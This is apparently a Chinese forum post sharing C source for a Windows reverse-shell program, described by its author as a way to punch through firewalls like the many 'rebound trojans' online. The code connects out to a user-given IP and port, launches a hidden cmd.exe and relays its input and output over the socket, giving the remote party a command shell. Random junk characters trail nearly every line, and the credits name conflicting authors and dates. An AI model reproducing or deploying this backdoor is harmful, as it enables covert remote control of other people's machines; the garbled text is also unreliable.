这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TY(bPq
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/* ============================== ]\ngX;h8G
Rebound port in Windows NT (LHp%LaZ\;
By wind,2006/7 OxGE%R,
===============================*/ e6_ZjrQf
#include W[+|}
#include ^T~gEv
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#pragma comment(lib,"wsock32.lib") -l}IZY
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void OutputShell(); >&!RWH9*q
SOCKET sClient; vy,&N^P
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $)H@|<K
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void main(int argc,char **argv) Cye$H9 2
{ ={?vAb:
WSADATA stWsaData; -uh(?])H
int nRet; OIl#DV.
SOCKADDR_IN stSaiClient,stSaiServer; ;+1RUv
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if(argc != 3) t*@z8<H
{ KgN)JD>
printf("Useage:\n\rRebound DestIP DestPort\n"); +y 87~]]
return; WL+]4Wiz
} L#)(H^[
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WSAStartup(MAKEWORD(2,2),&stWsaData); sE{ pzPq!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @E.k/G!~Nb
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stSaiClient.sin_family = AF_INET; ! Q<>3xZ
stSaiClient.sin_port = htons(0); "7>>I D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m?HZ;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q.2(OP>(
{ wM[~2C=vx
printf("Bind Socket Failed!\n"); bxK(9.
return; E+C5 h
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} |w}xl'>q
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stSaiServer.sin_family = AF_INET; U}SXJH&&E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wW?,;B'74
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XBQ\_2>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d2s OYCKe
{ g]UBZ33y
printf("Connect Error!"); q2:K4
return; Q
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} p$7#}s
OutputShell(); 9z?oB&5
} q %A?V_
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void OutputShell() \Ep0J $ #o
{ pdd/D
char szBuff[1024]; #E0t?:t5bk
SECURITY_ATTRIBUTES stSecurityAttributes; b%f[p/no
OSVERSIONINFO stOsversionInfo; 2k6 X,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1+`l7'F
STARTUPINFO stStartupInfo; Hx$c
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char *szShell; 9;%CHb&
PROCESS_INFORMATION stProcessInformation; C6_@\&OA
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D\/xu-&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >\ST-7[^L
stSecurityAttributes.lpSecurityDescriptor = 0; B5X sGLV
stSecurityAttributes.bInheritHandle = TRUE; J/);"bg_O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \n0Oez0z!B
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '2zL.:~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l:]Nn%U(>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~8|t*@D
stStartupInfo.wShowWindow = SW_HIDE; :T3/yd62N
stStartupInfo.hStdInput = hReadPipe; p#f+P?
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AGA`fRVx
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GetVersionEx(&stOsversionInfo); aj,)P3DJu
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switch(stOsversionInfo.dwPlatformId) m\/(w_/?
{ R6 XuA(5
case 1: =rPrPb
szShell = "command.com"; Kt>X[o3m,
break; ~#\i!I;RY}
default: 6pE :A@
szShell = "cmd.exe"; h x6;YV
break; !S%6Uzsj
} &p<(_|Af
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Vv$HR
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send(sClient,szMsg,77,0); nRhrWS
while(1) q^rl)
{ *5$&`&,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); AgF5-tz6x
if(lBytesRead) +)nT|w45
{ !\[+99F#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~`Qko-a&
send(sClient,szBuff,lBytesRead,0); M^rM-{?<
}
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else 3-40'$lE
{ +w|9x.&W
lBytesRead=recv(sClient,szBuff,1024,0); V's:>;
if(lBytesRead<=0) break; l^NC]t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vjViX<#(V
} puJ#w1!x`
} V%HS\<$h
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return; 7dh1W@\
}